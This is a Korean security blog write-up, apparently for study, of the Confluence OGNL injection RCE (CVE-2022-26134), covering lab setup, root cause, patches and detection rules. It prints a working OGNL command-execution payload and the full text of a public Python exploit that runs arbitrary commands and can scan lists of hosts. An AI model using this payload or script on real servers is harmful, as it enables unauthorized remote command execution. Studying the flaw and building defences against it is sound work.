1. Confluence
- 아틀라시안(Atlassian)에서 개발한 자바 기반의 소프트웨어
- 팀원들이 효율적으로 지식을 공유하고 협업할 수 있는 도구
2. 취약점
- 취약 버전의 Confluence Server 및 Data Center에서 OGNL 표현식에 의해 발생하는 원격 명령 실행 취약점
취약한 버전
- Confluence Server 및 Data Center 모든 지원되는 버전
- Confluence Server 및 Data Center 1.3.0 이후의 버전
2.1 취약점 실습
- 취약 서버 구동
git clone https://github.com/vulhub/vulhub
cd /vulhub/confluence/CVE-2022-26134
docker-compose up -d
- "Get an evaluation license"를 통해 키 발급 받기
- [사진 3]에서 키 발급 후 Next로 default 설치 진행 및 데이터베이스 설정 진행
- Next > Example Site > default 설치 진행
- 서버 정상 구동 및 접근 확인
- Pyhton 파일을 이용해 Exploit 진행 및 id명령 수행 결과가 반환
- 해당 패킷을 와이어샤크로 확인하면 다음과 같음
<디코딩 전>
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
<디코딩 후>
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
2.2 취약점 분석
- 정확하지는 않으나 요청 분석 과정에서 입력값 검증이 부족한 것으로 판단됨
① 서버는 클라이언트의 요청을 처리하기위해 TextParseUtil.translateVariables를 호출
② TextParseUtil.translateVariables에서 "\\\$\\{(^})\\\}"패턴에 대해서만 필터링
※ xwork-1.0.3.6.jar 내 TextParseUtil.class가 있음
2.3 PoC 분석
- spiderXpl(url) 함수에서 OGNL 표현식 설정 등 공격을 위한 설정이 이루어짐
① 전달 받은 커맨드(-c 옵션 : command)를 포함하여 OGNL 표현식으로 설정
② setHeader() 함수를 통해 응답값에 "X-Cmd-Response"를 설정
③ 취약한 서버의 경우 OGNL 표현식 수행 결과를 X-Cmd-Response를 통해 응답
#!/usr/bin/python3
# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134
import sys
import requests
import optparse
import multiprocessing
from requests.packages import urllib3
from requests.exceptions import MissingSchema, InvalidURL
urllib3.disable_warnings()
requestEngine = multiprocessing.Manager()
session = requests.Session()
global paramResults
paramResults = requestEngine.list()
globals().update(locals())
def spiderXpl(url):
globals().update(locals())
if not url.startswith('http'):
url='http://'+url
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"}
try:
response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
if(response.status_code == 302):
print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])
inputBuffer = str(response.headers['X-Cmd-Response'])
paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
else:
pass
except requests.exceptions.ConnectionError:
print('[x] Failed to Connect: '+url)
pass
except multiprocessing.log_to_stderr:
pass
except KeyboardInterrupt:
print('[!] Stoping exploit...')
exit(0)
except (MissingSchema, InvalidURL):
pass
def banner():
print('[-] CVE-2022-26134')
print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')
def main():
banner()
globals().update(locals())
sys.setrecursionlimit(100000)
if not optionsOpt.filehosts:
url = optionsOpt.url
spiderXpl(url)
else:
f = open(optionsOpt.filehosts)
urls = map(str.strip, f.readlines())
multiReq = multiprocessing.Pool(optionsOpt.threads_set)
try:
multiReq.map(spiderXpl, urls)
multiReq.close()
multiReq.join()
except UnboundLocalError:
pass
except KeyboardInterrupt:
exit(0)
if optionsOpt.output:
print("\n[!] Saving the output result in: %s" % optionsOpt.output)
with open(optionsOpt.output, "w") as f:
for result in paramResults:
f.write("%s\n" % result)
f.close()
if __name__ == "__main__":
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
optionsOpt, args = parser.parse_args()
main()
3. 대응방안
3.1 서버측면
① 취약점이 패치된 보안 업데이트 적용
제품 | 패치 버전 |
Confluence | 7.4.17 |
7.13.7 | |
7.14.3 | |
7.15.2 | |
7.16.4 | |
7.17.4 | |
7.18.1 |
- 즉시 업데이트가 어려운 경우 아래 사이트를 참고해 버전별 임시 해결 방안을 적용
⒜ 취약점이 발생한 xwork-1.0.3.6.jar를 새로 출시된 xwork-1.0.3-atlassian-10.jar로 교체 권고
- 패치된 버전에서는 translateVariables 메서드를 사용하지 않고 finalNamespace 및 finalActionName 변수를 사용
- findValue 메서드 SafeExpressionUtil.class를 추가
⒜ isSafeExpression()를 통해 입력값에 대한 검증을 강화
3.2 네트워크측면
① 공개된 PoC를 통해 다음을 탐지하는 룰을 적용 및 탐지 후 차단
⒜ OGNL 표현식 : ${(#
⒝ 요청 내 X-Cmd-Response 문자열 존재 여부
② IoC를 참고해 IP 차단 등의 침해지표 활용
4. 참고
- https://nvd.nist.gov/vuln/detail/CVE-2022-26134
- https://github.com/vulhub/vulhub
- https://github.com/h3v0x/CVE-2022-26134/blob/main/exploit.py
- https://blog.alyac.co.kr/4772
- https://doosil87.github.io/devops/2019/09/01/Jiraandconfluence.html
- https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
- https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
- https://confluence.curvc.com/pages/releaseview.action?pageId=101553124
- https://www.akamai.com/ko/blog/security-research/atlassian-confluence-vulnerability-observations
'취약점 > RCE' 카테고리의 다른 글
Drupalgeddon2 (CVE-2018-7600) (0) | 2022.12.11 |
---|---|
SMB RCE 취약점 (MS17-010, CVE-2017-0143 ~ 0148) (0) | 2022.12.07 |
Apache Unomi RCE (CVE-2020-13942) (0) | 2022.12.02 |
Struts2 REST Plugin XStream RCE 취약점 (CVE-2017-9805) (0) | 2022.11.24 |
자바 역직렬화 취약점 (0) | 2022.11.23 |